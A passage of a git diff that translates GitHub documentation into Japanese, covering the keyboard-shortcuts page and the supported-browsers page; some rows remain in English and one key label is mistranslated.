-|<kbd>control s</kbd> or <kbd>command s</kbd> | Write a commit message
+| キーボードショートカット              | 説明                                                                                                                                                                                                                            |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>g</kbd> <kbd>c</kbd> | [**Code**] タブに移動します                                                                                                                                                                                                           |
+| <kbd>g</kbd> <kbd>i</kbd> | [**Issues**] タブに移動します。 詳細は「[Issue について](/articles/about-issues)」を参照してください。                                                                                                                                                    |
+| <kbd>g</kbd> <kbd>p</kbd> | [**Pull requests**] タブに移動します。 詳しい情報については、「[プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)」を参照してください。"{% ifversion fpt or ghes or ghec %}
+| <kbd>g</kbd> <kbd>a</kbd> | [**Actions**] タブに移動します。 詳しい情報については、「[アクションについて](/actions/getting-started-with-github-actions/about-github-actions)」を参照してください。{% endif %}
+| <kbd>g</kbd> <kbd>b</kbd> | [**Projects**] タブに移動します。 詳細は「[プロジェクトボードについて](/articles/about-project-boards)」を参照してください。                                                                                                                                       |
+| <kbd>g</kbd> <kbd>w</kbd> | [**Wiki**] タブに移動します。 For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion fpt or ghec %}
+| <kbd>g</kbd> <kbd>g</kbd> | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %}
 
-For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirror.net/doc/manual.html#commands).
+## ソースコード編集
 
-## Source code browsing
+| キーボードショートカット                                                    | 説明                                                                                                                                                                            |
+| --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghec %}
+| <kbd>から実行されます。</kbd>                                            | Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %}
+| <kbd>control b</kbd> または <kbd>command b</kbd>                   | 太字テキストの Markdown 書式を挿入します                                                                                                                                                     |
+| <kbd>control i</kbd> または <kbd>command i</kbd>                   | イタリック体のテキストの Markdown 書式を挿入します                                                                                                                                                |
+| <kbd>control k</kbd> または <kbd>command k</kbd>                   | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae or ghes > 3.3 %}
+| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd>        | Inserts Markdown formatting for an ordered list                                                                                                                               |
+| <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd>        | Inserts Markdown formatting for an unordered list                                                                                                                             |
+| <kbd>control shift .</kbd> or <kbd>command shift.</kbd>         | Inserts Markdown formatting for a quote{% endif %}
+| <kbd>e</kbd>                                                    | [**Edit file**] タブでソースコードファイルを開きます                                                                                                                                            |
+| <kbd>control f</kbd> または <kbd>command f</kbd>                   | ファイルエディタで検索を開始します                                                                                                                                                             |
+| <kbd>control g</kbd> または <kbd>command g</kbd>                   | 次を検索します                                                                                                                                                                       |
+| <kbd>control shift g</kbd> or <kbd>command shift g</kbd>        | 前を検索します                                                                                                                                                                       |
+| <kbd>control shift f</kbd> or <kbd>command option f</kbd>       | 置き換えます                                                                                                                                                                        |
+| <kbd>control shift r</kbd> or <kbd>command shift option f</kbd> | すべてを置き換えます                                                                                                                                                                    |
+| <kbd>alt g</kbd>                                                | 行にジャンプします                                                                                                                                                                     |
+| <kbd>control z</kbd> または <kbd>command z</kbd>                   | 元に戻します                                                                                                                                                                        |
+| <kbd>control y</kbd> または <kbd>command y</kbd>                   | やり直します                                                                                                                                                                        |
+| <kbd>command shift p</kbd>                                      | [**Edit file**] タブと [**Preview changes**] タブを切り替えます                                                                                                                           |
+| <kbd>control s</kbd> or <kbd>command s</kbd>                    | Write a commit message                                                                                                                                                        |
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>t</kbd> | Activates the file finder
-|<kbd>l</kbd> | Jump to a line in your code
-|<kbd>w</kbd> | Switch to a new branch or tag
-|<kbd>y</kbd> | Expand a URL to its canonical form. For more information, see "[Getting permanent links to files](/articles/getting-permanent-links-to-files)."
-|<kbd>i</kbd> | Show or hide comments on diffs. For more information, see "[Commenting on the diff of a pull request](/articles/commenting-on-the-diff-of-a-pull-request)."
-|<kbd>a</kbd> | Show or hide annotations on diffs
-|<kbd>b</kbd> | Open blame view. For more information, see "[Tracing changes in a file](/articles/tracing-changes-in-a-file)."
+その他のキーボードショートカットについては、[CodeMirror ドキュメント](https://codemirror.net/doc/manual.html#commands)を参照してください。
 
-## Comments
+## ソースコード閲覧
 
-| Keyboard shortcut | Description
-|-----------|------------
-| <kbd>control b</kbd> or <kbd>command b</kbd> | Inserts Markdown formatting for bolding text
-| <kbd>control i</kbd> or <kbd>command i</kbd> | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-| <kbd>control e</kbd> or <kbd>command e</kbd> | Inserts Markdown formatting for code or a command within a line{% endif %}
-| <kbd>control k</kbd> or <kbd>command k</kbd> | Inserts Markdown formatting for creating a link
-| <kbd>control shift p</kbd> or <kbd>command shift p</kbd>| Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd> | Inserts Markdown formatting for an ordered list
-| <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd> | Inserts Markdown formatting for an unordered list{% endif %}
-| <kbd>control enter</kbd> | Submits a comment
-| <kbd>control .</kbd> and then <kbd>control [saved reply number]</kbd> | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)."{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-| <kbd>control shift .</kbd> or <kbd>command shift.</kbd> | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %}
-|<kbd>control g</kbd> or <kbd>command g</kbd> | Insert a suggestion. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." |{% endif %}
-| <kbd>r</kbd> | Quote the selected text in your reply. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax#quoting-text)." |
+| キーボードショートカット | 説明                                                                                                                 |
+| ------------ | ------------------------------------------------------------------------------------------------------------------ |
+| <kbd>t</kbd> | ファイルファインダーを起動します                                                                                                   |
+| <kbd>l</kbd> | コード内の行にジャンプします                                                                                                     |
+| <kbd>w</kbd> | 新しいブランチまたはタグに切り替えます                                                                                                |
+| <kbd>y</kbd> | URL を正規の形式に展開します。 詳細は「[ファイルにパーマリンクを張る](/articles/getting-permanent-links-to-files)」を参照してください。                      |
+| <kbd>i</kbd> | 差分に関するコメントを表示または非表示にします。 詳細は「[プルリクエストの差分についてコメントする](/articles/commenting-on-the-diff-of-a-pull-request)」を参照してください。 |
+| <kbd>a</kbd> | diff の注釈を表示または非表示にします                                                                                              |
+| <kbd>b</kbd> | blame ビューを開きます。 詳細は「[ファイル内の変更を追跡する](/articles/tracing-changes-in-a-file)」を参照してください。                                |
 
-## Issue and pull request lists
+## コメント
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>c</kbd> | Create an issue
-| <kbd>control /</kbd> or <kbd>command /</kbd> | Focus your cursor on the issues or pull requests search bar. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."||
-|<kbd>u</kbd> | Filter by author
-|<kbd>l</kbd> | Filter by or edit labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)."
-| <kbd>alt</kbd> and click | While filtering by labels, exclude labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)."
-|<kbd>m</kbd> | Filter by or edit milestones. For more information, see "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)."
-|<kbd>a</kbd> | Filter by or edit assignee. For more information, see "[Filtering issues and pull requests by assignees](/articles/filtering-issues-and-pull-requests-by-assignees)."
-|<kbd>o</kbd> or <kbd>enter</kbd> | Open issue
+| キーボードショートカット                                              | 説明                                                                                                                                                                                              |
+| --------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>control b</kbd> または <kbd>command b</kbd>             | 太字テキストの Markdown 書式を挿入します                                                                                                                                                                       |
+| <kbd>control i</kbd> または <kbd>command i</kbd>             | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
+| <kbd>control e</kbd> or <kbd>command e</kbd>              | Inserts Markdown formatting for code or a command within a line{% endif %}
+| <kbd>control k</kbd> または <kbd>command k</kbd>             | リンクを作成するための Markdown 書式を挿入します                                                                                                                                                                   |
+| <kbd>control shift p</kbd> または <kbd>command shift p</kbd> | Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd>  | Inserts Markdown formatting for an ordered list                                                                                                                                                 |
+| <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd>  | Inserts Markdown formatting for an unordered list{% endif %}
+| <kbd>control enter</kbd>                                  | コメントをサブミットします                                                                                                                                                                                   |
+| <kbd>control .</kbd>、次に <kbd>control [返信テンプレート番号]</kbd>   | 返信テンプレートメニューを開き、コメントフィールドに返信テンプレートを自動入力します。 詳細は「[返信テンプレートについて](/articles/about-saved-replies)」を参照してください。{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| <kbd>control shift .</kbd> or <kbd>command shift.</kbd>   | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %}
+| <kbd>control g</kbd> または <kbd>command g</kbd>             | 提案を挿入します。 詳細は「[プルリクエストで提案された変更をレビューする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)」を参照してください。 
+{% endif %}
+| <kbd>r</kbd>                                              | 返信で選択したテキストを引用します。 詳細は「[基本的な書き方とフォーマットの構文](/articles/basic-writing-and-formatting-syntax)」を参照してください。                                                                                            |
 
-## Issues and pull requests
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>q</kbd> | Request a reviewer. For more information, see "[Requesting a pull request review](/articles/requesting-a-pull-request-review/)."
-|<kbd>m</kbd> | Set a milestone. For more information, see "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests/)."
-|<kbd>l</kbd> | Apply a label. For more information, see "[Applying labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests/)."
-|<kbd>a</kbd> | Set an assignee. For more information, see "[Assigning issues and pull requests to other {% data variables.product.company_short %} users](/articles/assigning-issues-and-pull-requests-to-other-github-users/)."
-|<kbd>cmd + shift + p</kbd> or <kbd>control + shift + p</kbd> | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %}
-|<kbd>alt</kbd> and click | When creating an issue from a task list, open the new issue form in the current tab by holding <kbd>alt</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
-|<kbd>shift</kbd> and click | When creating an issue from a task list, open the new issue form in a new tab by holding <kbd>shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
-|<kbd>command</kbd> or <kbd>control + shift</kbd> and click | When creating an issue from a task list, open the new issue form in the new window by holding <kbd>command</kbd> or <kbd>control + shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %}
+## Issue およびプルリクエストのリスト
 
-## Changes in pull requests
+| キーボードショートカット                                  | 説明                                                                                                                                                                                                          |
+| --------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>c</kbd>                                  | Issueの作成                                                                                                                                                                                                    |
+| <kbd>control /</kbd> または <kbd>command /</kbd> | Issue またはプルリクエストの検索バーにカーソルを合わせます。 For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."| |
+| <kbd>u</kbd>                                  | 作者によりフィルタリングします                                                                                                                                                                                             |
+| <kbd>l</kbd>                                  | ラベルによりフィルタリグするか、ラベルを編集します。 詳細は「[Issue およびプルリクエストをラベルでフィルタリングする](/articles/filtering-issues-and-pull-requests-by-labels)」を参照してください。                                                                          |
+| <kbd>alt</kbd> およびクリック                        | ラベルによりフィルタリングすると同時に、ラベルを除外します。 詳細は「[Issue およびプルリクエストをラベルでフィルタリングする](/articles/filtering-issues-and-pull-requests-by-labels)」を参照してください。                                                                      |
+| <kbd>m</kbd>                                  | マイルストーンによりフィルタリングするか、 マイルストーンを編集します。 詳細は「[Issue およびプルリクエストをマイルストーンでフィルタリングする](/articles/filtering-issues-and-pull-requests-by-labels)」を参照してください。                                                            |
+| <kbd>a</kbd>                                  | アサインされた人によりフィルタリングするか、 アサインされた人を編集します。 詳細は「[Issue およびプルリクエストをアサインされた人でフィルタリングする](/articles/filtering-issues-and-pull-requests-by-assignees)」を参照してください。                                                      |
+| <kbd>o</kbd> または <kbd>enter</kbd>             | Issue を開きます                                                                                                                                                                                                 |
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>c</kbd> | Open the list of commits in the pull request
-|<kbd>t</kbd> | Open the list of changed files in the pull request
-|<kbd>j</kbd> | Move selection down in the list
-|<kbd>k</kbd> | Move selection up in the list
-| <kbd>cmd + shift + enter </kbd> | Add a single comment on a pull request diff |
-| <kbd>alt</kbd> and click | Toggle between collapsing and expanding all outdated review comments in a pull request by holding down `alt` and clicking **Show outdated** or **Hide outdated**.|{% ifversion fpt or ghes or ghae or ghec %}
-| Click, then <kbd>shift</kbd> and click | Comment on multiple lines of a pull request by clicking a line number, holding <kbd>shift</kbd>, then clicking another line number. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)."|{% endif %}
+## Issue およびプルリクエスト
+| キーボードショートカット                                                  | 説明                                                                                                                                                                                                                                                                                                                                                                                                         |
+| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>q</kbd>                                                  | レビュー担当者にリクエストします。 詳細は「[Pull Request レビューをリクエストする](/articles/requesting-a-pull-request-review/)」を参照してください。                                                                                                                                                                                                                                                                                                  |
+| <kbd>m</kbd>                                                  | マイルストーンを設定します。 詳細は「[Issue およびプルリクエストにマイルストーンを関連付ける](/articles/associating-milestones-with-issues-and-pull-requests)」を参照してください。                                                                                                                                                                                                                                                                             |
+| <kbd>l</kbd>                                                  | ラベルを適用します。 詳細は「[Issue およびプルリクエストにラベルを適用する](/articles/applying-labels-to-issues-and-pull-requests)」を参照してください。                                                                                                                                                                                                                                                                                               |
+| <kbd>a</kbd>                                                  | アサインされた人を設定します。 詳細は「[{% data variables.product.company_short %} の他のユーザに Issue およびプルリクエストをアサインする](/articles/assigning-issues-and-pull-requests-to-other-github-users/)」を参照してください。                                                                                                                                                                                                                           |
+| <kbd>cmd + shift + p</kbd> または <kbd>control + shift + p</kbd> | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %}
+| <kbd>alt</kbd> およびクリック                                        | When creating an issue from a task list, open the new issue form in the current tab by holding <kbd>alt</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. 詳しい情報については[タスクリストについて](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)を参照してください。                                                            |
+| <kbd>shift</kbd> and click                                    | When creating an issue from a task list, open the new issue form in a new tab by holding <kbd>shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. 詳しい情報については[タスクリストについて](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)を参照してください。                                                                |
+| <kbd>command</kbd> or <kbd>control + shift</kbd> and click    | When creating an issue from a task list, open the new issue form in the new window by holding <kbd>command</kbd> or <kbd>control + shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %}
 
-## Project boards
+## プルリクエストの変更
 
-### Moving a column
+| キーボードショートカット                    | 説明                                                                                                                                                                                                                                                 |
+| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>c</kbd>                    | プルリクエスト内のコミットのリストを開きます                                                                                                                                                                                                                             |
+| <kbd>t</kbd>                    | プルリクエストで変更されたファイルのリストを開きます                                                                                                                                                                                                                         |
+| <kbd>j</kbd>                    | リストで選択を下に移動します                                                                                                                                                                                                                                     |
+| <kbd>k</kbd>                    | リストで選択を上に移動します                                                                                                                                                                                                                                     |
+| <kbd>cmd + shift + enter </kbd> | プルリクエストの差分にコメントを 1 つ追加します                                                                                                                                                                                                                          |
+| <kbd>alt</kbd> およびクリック          | `alt` を押しながら、[**Show outdated**] または [**Hide outdated**] をクリックして、期限切れのレビューコメントをすべて折りたたむか展開するかを切り替えます。|{% ifversion fpt or ghes or ghae or ghec %}
+| クリック後、<kbd>shift</kbd> およびクリック  | プルリクエストの複数行にコメントするには、行番号をクリックし、<kbd>shift</kbd> を押したまま、別の行番号をクリックします。 詳しい情報については、「[プルリクエストへコメントする](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)」を参照してください。
+{% endif %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>enter</kbd> or <kbd>space</kbd> | Start moving the focused column
-|<kbd>escape</kbd> | Cancel the move in progress
-|<kbd>enter</kbd> | Complete the move in progress
-|<kbd>←</kbd> or <kbd>h</kbd> | Move column to the left
-|<kbd>command + ←</kbd> or <kbd>command + h</kbd> or <kbd>control + ←</kbd> or <kbd>control + h</kbd> | Move column to the leftmost position
-|<kbd>→</kbd> or <kbd>l</kbd> | Move column to the right
-|<kbd>command + →</kbd> or <kbd>command + l</kbd> or <kbd>control + →</kbd> or <kbd>control + l</kbd> | Move column to the rightmost position
+## プロジェクトボード
 
-### Moving a card
+### 列を移動する
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>enter</kbd> or <kbd>space</kbd> | Start moving the focused card
-|<kbd>escape</kbd> | Cancel the move in progress
-|<kbd>enter</kbd> | Complete the move in progress
-|<kbd>↓</kbd> or <kbd>j</kbd> | Move card down
-|<kbd>command + ↓</kbd> or <kbd>command + j</kbd> or <kbd>control + ↓</kbd> or <kbd>control + j</kbd> | Move card to the bottom of the column
-|<kbd>↑</kbd> or <kbd>k</kbd> | Move card up
-|<kbd>command + ↑</kbd> or <kbd>command + k</kbd> or <kbd>control + ↑</kbd> or <kbd>control + k</kbd> | Move card to the top of the column
-|<kbd>←</kbd> or <kbd>h</kbd> | Move card to the bottom of the column on the left
-|<kbd>shift + ←</kbd> or <kbd>shift + h</kbd> | Move card to the top of the column on the left
-|<kbd>command + ←</kbd> or <kbd>command + h</kbd> or <kbd>control + ←</kbd> or <kbd>control + h</kbd> | Move card to the bottom of the leftmost column
-|<kbd>command + shift + ←</kbd> or <kbd>command + shift + h</kbd> or <kbd>control + shift + ←</kbd> or <kbd>control + shift + h</kbd> | Move card to the top of the leftmost column
-|<kbd>→</kbd> | Move card to the bottom of the column on the right
-|<kbd>shift + →</kbd> or <kbd>shift + l</kbd> | Move card to the top of the column on the right
-|<kbd>command + →</kbd> or <kbd>command + l</kbd> or <kbd>control + →</kbd> or <kbd>control + l</kbd> | Move card to the bottom of the rightmost column
-|<kbd>command + shift + →</kbd> or <kbd>command + shift + l</kbd> or <kbd>control + shift + →</kbd> or <kbd>control + shift + l</kbd> | Move card to the bottom of the rightmost column
+| キーボードショートカット                                                                                            | 説明                |
+| ------------------------------------------------------------------------------------------------------- | ----------------- |
+| <kbd>enter</kbd> または <kbd>space</kbd>                                                                   | フォーカスされた列を動かし始めます |
+| <kbd>escape</kbd>                                                                                       | 進行中の移動をキャンセルします   |
+| <kbd>enter</kbd>                                                                                        | 進行中の移動を完了します      |
+| <kbd>←</kbd> または <kbd>h</kbd>                                                                           | 左に列を移動します         |
+| <kbd>command + ←</kbd> または <kbd>command + h</kbd> または <kbd>control + ←</kbd> または <kbd>control + h</kbd> | 左端に列を移動します        |
+| <kbd>→</kbd> または <kbd>l</kbd>                                                                           | 右に列を移動します         |
+| <kbd>command + →</kbd> または <kbd>command + l</kbd> または <kbd>control + →</kbd> または <kbd>control + l</kbd> | 右端に列を移動します        |
 
-### Previewing a card
+### カードを移動する
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>esc</kbd> | Close the card preview pane
+| キーボードショートカット                                                                                                                            | 説明                  |
+| --------------------------------------------------------------------------------------------------------------------------------------- | ------------------- |
+| <kbd>enter</kbd> または <kbd>space</kbd>                                                                                                   | フォーカスされたカードを動かし始めます |
+| <kbd>escape</kbd>                                                                                                                       | 進行中の移動をキャンセルします     |
+| <kbd>enter</kbd>                                                                                                                        | 進行中の移動を完了します        |
+| <kbd>↓</kbd> または <kbd>j</kbd>                                                                                                           | カードを下に移動します         |
+| <kbd>command + ↓</kbd> または <kbd>command + j</kbd> または <kbd>control + ↓</kbd> または <kbd>control + j</kbd>                                 | カードを列の一番下に移動します     |
+| <kbd>↑</kbd> または <kbd>k</kbd>                                                                                                           | カードを上に移動します         |
+| <kbd>command + ↑</kbd> または <kbd>command + k</kbd> または <kbd>control + ↑</kbd> または <kbd>control + k</kbd>                                 | カードを列の一番上に移動します     |
+| <kbd>←</kbd> または <kbd>h</kbd>                                                                                                           | カードを左側の列の一番下に移動します  |
+| <kbd>shift + ←</kbd> または <kbd>shift + h</kbd>                                                                                           | カードを左側の列の一番上に移動します  |
+| <kbd>command + ←</kbd> または <kbd>command + h</kbd> または <kbd>control + ←</kbd> または <kbd>control + h</kbd>                                 | カードを一番左の列の一番下に移動します |
+| <kbd>command + shift + ←</kbd> または <kbd>command + shift + h</kbd> または <kbd>control + shift + ←</kbd> または <kbd>control + shift + h</kbd> | カードを一番左の列の一番上に移動します |
+| <kbd>→</kbd>                                                                                                                            | カードを右側の列の一番下に移動します  |
+| <kbd>shift + →</kbd> または <kbd>shift + l</kbd>                                                                                           | カードを右側の列の一番上に移動します  |
+| <kbd>command + →</kbd> または <kbd>command + l</kbd> または <kbd>control + →</kbd> または <kbd>control + l</kbd>                                 | カードを一番右の列の一番下に移動します |
+| <kbd>command + shift + →</kbd> または <kbd>command + shift + l</kbd> または <kbd>control + shift + →</kbd> または <kbd>control + shift + l</kbd> | カードを一番右の列の一番下に移動します |
+
+### カードをプレビューする
+
+| キーボードショートカット   | 説明               |
+| -------------- | ---------------- |
+| <kbd>esc</kbd> | カードのプレビューペインを閉じる |
 
 {% ifversion fpt or ghec %}
 ## {% data variables.product.prodname_actions %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>command + space </kbd> or <kbd>control + space</kbd> | In the workflow editor, get suggestions for your workflow file.
-|<kbd>g</kbd> <kbd>f</kbd> | Go to the workflow file
-|<kbd>shift + t</kbd> or <kbd>T</kbd> | Toggle timestamps in logs
-|<kbd>shift + f</kbd> or <kbd>F</kbd> | Toggle full-screen logs
-|<kbd>esc</kbd> | Exit full-screen logs
+| キーボードショートカット                                               | 説明                                   |
+| ---------------------------------------------------------- | ------------------------------------ |
+| <kbd>command + space </kbd> または <kbd>control + space</kbd> | ワークフローエディターで、ワークフローファイルに対する提案を取得します。 |
+| <kbd>g</kbd> <kbd>f</kbd>                                  | ワークフローファイルに移動します                     |
+| <kbd>shift + t</kbd> または <kbd>T</kbd>                      | ログのタイムスタンプを切り替えます                    |
+| <kbd>shift + f</kbd> または <kbd>F</kbd>                      | フルスクリーン表示を切り替えます                     |
+| <kbd>esc</kbd>                                             | フルスクリーン表示を終了します                      |
 
 {% endif %}
 
-## Notifications
-
+## 通知
 {% ifversion fpt or ghes or ghae or ghec %}
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>e</kbd> | Mark as done
-| <kbd>shift + u</kbd>| Mark as unread
-| <kbd>shift + i</kbd>| Mark as read
-| <kbd>shift + m</kbd> | Unsubscribe
+| キーボードショートカット         | 説明           |
+| -------------------- | ------------ |
+| <kbd>e</kbd>         | 完了済としてマークします |
+| <kbd>shift + u</kbd> | 未読としてマークします  |
+| <kbd>shift + i</kbd> | 既読としてマークします  |
+| <kbd>shift + m</kbd> | サブスクライブ解除します |
 
 {% else %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>e</kbd> or <kbd>I</kbd> or <kbd>y</kbd> | Mark as read
-|<kbd>shift + m</kbd> | Mute thread
+| キーボードショートカット                                   | 説明           |
+| ---------------------------------------------- | ------------ |
+| <kbd>e</kbd> または <kbd>I</kbd> または <kbd>y</kbd> | 既読としてマークします  |
+| <kbd>shift + m</kbd>                           | スレッドをミュートします |
 {% endif %}
 
-## Network graph
+## ネットワークグラフ
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>←</kbd> or <kbd>h</kbd> | Scroll left
-|<kbd>→</kbd> or <kbd>l</kbd> | Scroll right
-|<kbd>↑</kbd> or <kbd>k</kbd> | Scroll up
-|<kbd>↓</kbd> or <kbd>j</kbd> | Scroll down
-|<kbd>shift + ←</kbd> or <kbd>shift + h</kbd> | Scroll all the way left
-|<kbd>shift + →</kbd> or <kbd>shift + l</kbd> | Scroll all the way right
-|<kbd>shift + ↑</kbd> or <kbd>shift + k</kbd> | Scroll all the way up
-|<kbd>shift + ↓</kbd> or <kbd>shift + j</kbd> | Scroll all the way down
+| キーボードショートカット                                  | 説明           |
+| --------------------------------------------- | ------------ |
+| <kbd>←</kbd> または <kbd>h</kbd>                 | 左にスクロールします   |
+| <kbd>→</kbd> または <kbd>l</kbd>                 | 右にスクロールします   |
+| <kbd>↑</kbd> または <kbd>k</kbd>                 | 上にスクロールします   |
+| <kbd>↓</kbd> または <kbd>j</kbd>                 | 下にスクロールします   |
+| <kbd>shift + ←</kbd> または <kbd>shift + h</kbd> | 左端までスクロールします |
+| <kbd>shift + →</kbd> または <kbd>shift + l</kbd> | 右端までスクロールします |
+| <kbd>shift + ↑</kbd> または <kbd>shift + k</kbd> | 上端までスクロールします |
+| <kbd>shift + ↓</kbd> または <kbd>shift + j</kbd> | 下端までスクロールします |
diff --git a/translations/ja-JP/content/get-started/using-github/supported-browsers.md b/translations/ja-JP/content/get-started/using-github/supported-browsers.md
index 610b6584c6..abe0f1bc77 100644
--- a/translations/ja-JP/content/get-started/using-github/supported-browsers.md
+++ b/translations/ja-JP/content/get-started/using-github/supported-browsers.md
@@ -1,22 +1,23 @@
 ---
-title: Supported browsers
+title: サポートされているブラウザ
 redirect_from:
   - /articles/why-doesn-t-graphs-work-with-ie-8
   - /articles/why-don-t-graphs-work-with-ie8
   - /articles/supported-browsers
   - /github/getting-started-with-github/supported-browsers
   - /github/getting-started-with-github/using-github/supported-browsers
-intro: 'We design {% data variables.product.product_name %} to support the latest web browsers. We support the current versions of [Chrome](https://www.google.com/chrome/), [Firefox](http://www.mozilla.org/firefox/), [Safari](http://www.apple.com/safari/), and [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge).'
+intro: '{% data variables.product.product_name %} は、最新の Web ブラウザをサポートするよう設計されています。 [Chrome](https://www.google.com/chrome/)、[Firefox](http://www.mozilla.org/firefox/)、[Safari](http://www.apple.com/safari/)、[Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge)の現在のバージョンがサポートされています。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Firefox Extended Support Release
 
-We do our best to support Firefox's latest [Extended Support Release](https://www.mozilla.org/en-US/firefox/organizations/) (ESR). Older versions of Firefox may disable some features on {% data variables.product.product_name %} and require the latest version of Firefox.
+## Firefox の延長サポートリリース
 
-## Beta and developer builds
+弊社は Firefox の最新の[拡張サポートサービス](https://www.mozilla.org/en-US/firefox/organizations/) (ESR) をサポートするのに最善を尽くしています。 Firefox の古いバージョンは、{% data variables.product.product_name %} のいくつかの機能を作動させなくする可能性がありますので、Firefox の最新バージョンが必要です。
 
-You may encounter unexpected bugs in beta and developer builds of our supported browsers. If you encounter a bug on {% data variables.product.product_name %} in one of these unreleased builds, please verify that it also exists in the stable version of the same browser. If the bug only exists in the unstable version, consider reporting the bug to the browser developer.
+## ベータ版および開発者版
+
+サポートしているブラウザのベータ版や開発者版では予期しないバグに出くわす可能性があります。 このようなリリースされていないビルドで、{% data variables.product.product_name %} 上のバグに出くわした場合、同じブラウザの正式バージョンでも存在するかどうか確認してください。 もしバグが非公式バージョンに限って存在する場合、バグをブラウザのデベロッパーに報告することを検討してください。
diff --git a/translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md
index e51a8bd6a9..d7f032b1cd 100644
--- a/translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md
+++ b/translations/ja-JP/content/github-cli/github-cli/creating-github-cli-extensions.md
@@ -80,7 +80,7 @@ You can use the `--precompiled=other` argument to create a project for your non-
 
   {% endnote %}
 
-1. Write your script in the executable file. For example:
